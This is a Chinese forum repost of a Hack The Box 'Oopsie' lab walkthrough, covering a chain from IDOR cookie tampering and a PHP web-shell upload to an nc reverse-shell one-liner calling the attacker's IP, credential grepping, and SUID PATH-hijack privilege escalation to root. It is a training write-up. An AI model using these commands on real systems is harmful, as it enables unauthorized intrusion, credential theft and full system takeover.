莫张周刘王 发表于 2023-9-6 21:39:28

HTB-oopsie靶场练习

靶机地址: 10.129.130.57
攻击机地址: 10.10.14.185
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906194649580-255111261.png
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906194707015-2132163609.png
端口扫描
nmap -sV -sC 10.129.130.57https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906194728815-1262963422.png
访问10.129.130.57, 对一些可能有用的信息进行记录
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906194833166-1308931722.png
打开burp, 刷新网页, 点击HTTP history,注意到/cdn-cgi/login/script.js
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906194849944-1939406402.png
试着访问http://10.129.130.57/cdn-cgi/login/script.js,页面没有内容
访问http://10.129.130.57/cdn-cgi/login/,发现登录后台
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906194910653-1836779047.png
帐号admin,试着进行弱密码爆破,但失败了
点击游客登录
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195048625-362327230.png
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195059676-744932252.png
对url的id值进行变换,最后在id=1处发现admin用户的相关信息
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195108214-2058884068.png
继续查看其它模块,发现在uploads模块中,发现需要管理员权限才能上传文件
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195159120-825332213.png
F12进入控制台,点击storge,查看cookie,此时为游客权限
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195215730-60479831.png
试着把cookie修改为刚才从account模块下得到的数据,刷新页面,完成纵向越权
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195251023-114466839.png
将以下shell文件上传
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195318537-1386654711.png
上传成功
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195344718-865981596.png
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195352690-1458483908.png
对靶机进行目录扫描,寻找php文件
gobuster dir -u http://10.129.130.57/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php-u: 指定url
-w: 指定字典
-x: 指定文件后缀
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195420712-1012815493.png
发现一个/uploads目录
访问http://10.129.130.57/uploads/shell.php?cmd=whoami
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195446934-1706066676.png
使用nc监听8888端口
nc -lnvp 8888浏览器输入:
10.129.130.57/uploads/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f    <br>// 这是一段反向shell,mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和错误输出结果通过nc传到该管道,形成了一个回路<br>// nc反向shell原理:被控端使用nc将/bin/sh发送到控制端的8888端口,控制端监听本地的8888端口,获得shell如果终端没有响应,可用burp进行抓包重放,ctrl+u对参数进行unicode编码
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195507669-1889505850.png
连接成功
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195525957-259267374.png
查看/etc/passwd文件,robert像是个用户
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195601925-168261669.png
因为该shell不是交互式的,无法自动补全命令,无法移动光标等问题,且缺少tty,没有上下文环境,但该机器上存在python,所以使用python pty进行tty提升
python3 -c 'import pty;pty.spawn("/bin/bash");'  // 提升tty获得更多访问权限后,ctrl+z将其放入后台
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195634724-279233730.png
输入stty raw -echo;fg(fg是把后台的nc -lnvp调回前台)
输入export TERM=linux清除控制台
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195650238-1783937050.png
此时shell可交互,我们拥有tab键自动补全功能,也可以自由使用方向键
进入/var/www/html/cdn-cgi/login目录
输入grep -i “password” *
在当前目录下的所有文件中匹配password
*为当前目录,-i为不区分大小写
在/etc/passwd中没有发现admin用户,所以该密码无法在本台机器上登录
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195728134-749722562.png
查看db.php,发现用户robert的密码
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195746251-1801631825.png
登录robert
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195807319-1723700390.png
到用户目录下,查看user.txt文件
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195833257-1613427446.png
查找group为bugtracker可调用的程序有哪些
find / -group bugtracker 2>/dev/null/dev/null:写入该文件的数据不会被存储,通常用来丢弃数据
Linux系统预留可三个文件描述符0、1和2
含义:0→标准输入、1→标准输出、2→标准错误
2>/dev/null: 把错误信息丢弃
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195850163-1037445029.png
查看文件信息
ls -la /usr/bin/bugstrackerhttps://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195909398-323768385.png
该文件的所有者为root,具有s(suid)权限位
s权限位:使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份.
例: 典型文件/etc/passwd, 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限更改用户的密码.
输入bugstracker执行该命令, 并测试一些id
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195927338-2052408447.png
注意到cat: /root/reports/8888, 该命令使用cat来寻找该文件,并打印文件,但cat命令依赖path环境变量
输入echo $PATH,查看当前环境变量
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906195956879-360023494.png
在使用cat命令时,先从/usr/local/sbin下寻找该命令,如果没有找到,再从/usr/local/bin下寻找,以此类推到/usr/local/games,直到最后一个目录下也没找到该命令,就在终端输入command not found
 
进入tmp目录下,创建cat文件,cat文件中的内容为/bin/bash
使用chmod给改文件增加执行权限(x)
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906200017199-572144664.png
将tmp目录加入到环境变量$PATH
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906200051889-237737084.png
再次执行bugstracker,输入id
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906200115553-1485775876.png
cat命令调用时,在tmp目录下被找到,并以root身份执行/bin/bash,提权成功
在/root/目录下找到root.txt
https://img2023.cnblogs.com/blog/3272858/202309/3272858-20230906200133846-1750130158.png
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: HTB-oopsie靶场练习